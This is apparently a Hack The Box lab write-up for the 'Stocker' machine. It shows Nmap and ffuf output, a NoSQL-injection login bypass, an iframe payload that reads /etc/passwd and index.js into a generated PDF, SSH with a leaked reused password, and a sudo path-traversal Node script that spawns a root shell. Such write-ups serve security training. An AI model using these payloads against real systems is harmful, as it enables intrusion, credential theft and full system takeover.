Hack The Box Write-Up Stocker
About Stocker
In this post, I’m writing a write-up for the machine Stocker from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills
Stocker is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.
Foothold
The port scan with Nmap
reveals the two open ports 22/tcp
and 80/tcp
. After enumerating the virtual hosts, we find the vHost dev.stocker.htb
with a login form. After bypassing the authentication with a NoSQL Injection, we got our foothold on this machine.
User
After entering the website, we can add products to our shopping cart. After checkout, a PDF file is created. The backend that creates this file is vulnerable to local file inclusion. Through this vulnerability we can read the index.js
file from the Express web server which contains the password for the user angoose
. After establishing an SSH session, we can read the `user.txt’ file.
Root
The user angoose
has the privileges to execute arbitrary Javascript files as root
. With path traversal code execution, we are able to pop a root shell and read the root.txt
flag.
Machine Info
Machine Name: | Stocker |
Difficulty: | Easy |
Points: | 20 |
Release Date: | 14 Jan 2023 |
IP: | 10.10.11.196 |
Creator: | JoshSH |
Recon
Portscan with Nmap
As always, we start this machine with a portscan with Nmap
.
1
sudo nmap -sC -sV -oA ./nmap/10.129.228.197 10.129.228.197
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:10 EDT
Nmap scan report for 10.129.228.197
Host is up (0.055s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds
The nmap
port scan has discovered two open ports. The first port is the default SSH-port 22/tcp
. The second port is 80/tcp
. On this port, there is a website running with the name stocker.htb
. After adding this hostname to our /etc/hosts
file, we can start the enumeration process.
Enumeration
Checked the website, non of the URLs working. started subdomein enumeration.
After clicking around on the website, there is no button clickable or leading to a webpage. One noteworthy thing we can discover is the name of one employee. He goes by the name of Angoose Garden.
Discovery of Virtual Hosts
Let’s start the discovery of the virtual hosts with ffuf
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─[root@htb-ivp1omwfli]─[/home/htb-t13nn3s/my_data/machines/stocker]
└──╼ #ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.129.182.102 -H "HOST: FUZZ.stocker.htb" -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.182.102
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.stocker.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 86ms]
:: Progress: [4997/4997] :: Job [1/1] :: 528 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
We have found one subdomain dev
. After adding this subdomain to our /etc/hosts
file, we can check what is running on this domain. We can visit the webpage through http://dev/stocker.htb
. We have to login to proceed.
After tampering with the HTTP request with can bypass authentication with a NoSQL injection with JSON. By editing the Content-Type
in the HTTP header to application/json
, we can use the following HTTP request for bypassing the authentication.
Intrusion
NoSQL Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 54
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AgkwQH6oX9g4cWn0ViiL6fl-gDGECbTHJ.vf9q%2F2Z1aC0GXWD%2FhbwUvHxYjUmtVZjdozvMNVfTCbc
Upgrade-Insecure-Requests: 1
{"username": {"$ne": null}, "password": {"$ne": null}}
http://dev.stocker.htb after bypassing authentication
This website gives visitors the ability to add some of “the highest quality products” to their cart. After checkout a PDF-file is being created with the products and costs. The contents of the PDF-file is based on the results of th sum of the added products in the cart.
By tampering the HTTP request on the checkout page, we can get Local File Inclusiom (LFI) to read arbitrary files from the machine.The title
contents in the request got’s reflected in the created PDF-file. After adding an iframe
in this request that requests the contents of the /etc/passwd
file, we found the LFI vulnerability.
Local File Inclusion
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 226
Connection: close
Cookie: connect.sid=s%3AWGX_9kiyM8Jws51zL5eD7tuR8ag4FFer.iv1pz%2BQ%2B13KF56UEO%2BLkJmGb9p2DHkDSUh2MV3vL08c
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///etc/passwd width=1000px height=1000px></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
Contents of the /etc/passwd file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
We see that there is a user account angoose
existing on this machine. This name corresponds with the employee name we found earlier. This user has the privilege of opening an SSH shell on this machine. We have to find the credentials of this username.
The website is running on the Express Framework. Instead of using an index.html
or index.php
file, this framework uses the file index.js
, according to the installation documentation. By default, webserver files are being places in the location /var/www/html
or /var/www/<name>
. We can read through the LFI vulnerability the contents of the /var/www/dev/index.js
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 231
Connection: close
Cookie: connect.sid=s%3AKX1dufiKXtNqN6Yu7yQCE244w1kFECRu.snb3XV1NmqjHhcJG2tJ0kiZ%2B8t%2FHNQXD7e9O2YWg1MQ
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=///var/www/dev/index.js width=1000px height=1000px></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");
const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(
session({
secret: randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: true,
store: MongoStore.create({
mongoUrl: dbURI,
...SNIP...
This file contains the password IHeardPassphrasesArePrettySecure
ssh as angoose
“This file contains the password IHeardPassphrasesArePrettySecure
which can be used to establish an SSH session with the user account angoose
. Password reuse is very common and poses a serious risk to businesses.
SSH as angoose
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[/home/kali]
└─# ssh [email protected]
[email protected]'s password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
angoose@stocker:~$ cat user.txt
4abf16cc17f499a0d8f2b7207a2ae595
We can read the user.txt
, and go for privilege escalation.
Privilege Escalation
Enumeration
Let’s check if this account may execute binary as root.
1
2
3
4
5
6
7
8
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
angoose@stocker:~$
Own Stocker
Angoose has the privileges to execute arbitry js files in /usr/local/scripts
. We can perform a privilege escalation by popping an root shell through an JavaScript file.
Angoose has the privilege to execute arbitrary js files in /usr/local/scripts
. We can perform a privilege escalation by popping a root shell through a JavaScript file. We create the file root.js
in the /tmp
folder, with the following contents:
1
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
We can now execute this script as root
, and own this box.
1
2
3
4
5
6
7
8
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/root.js
[sudo] password for angoose:
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
3983ee936a82f74bcce0cf2714adc508
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Happy Hacking :-)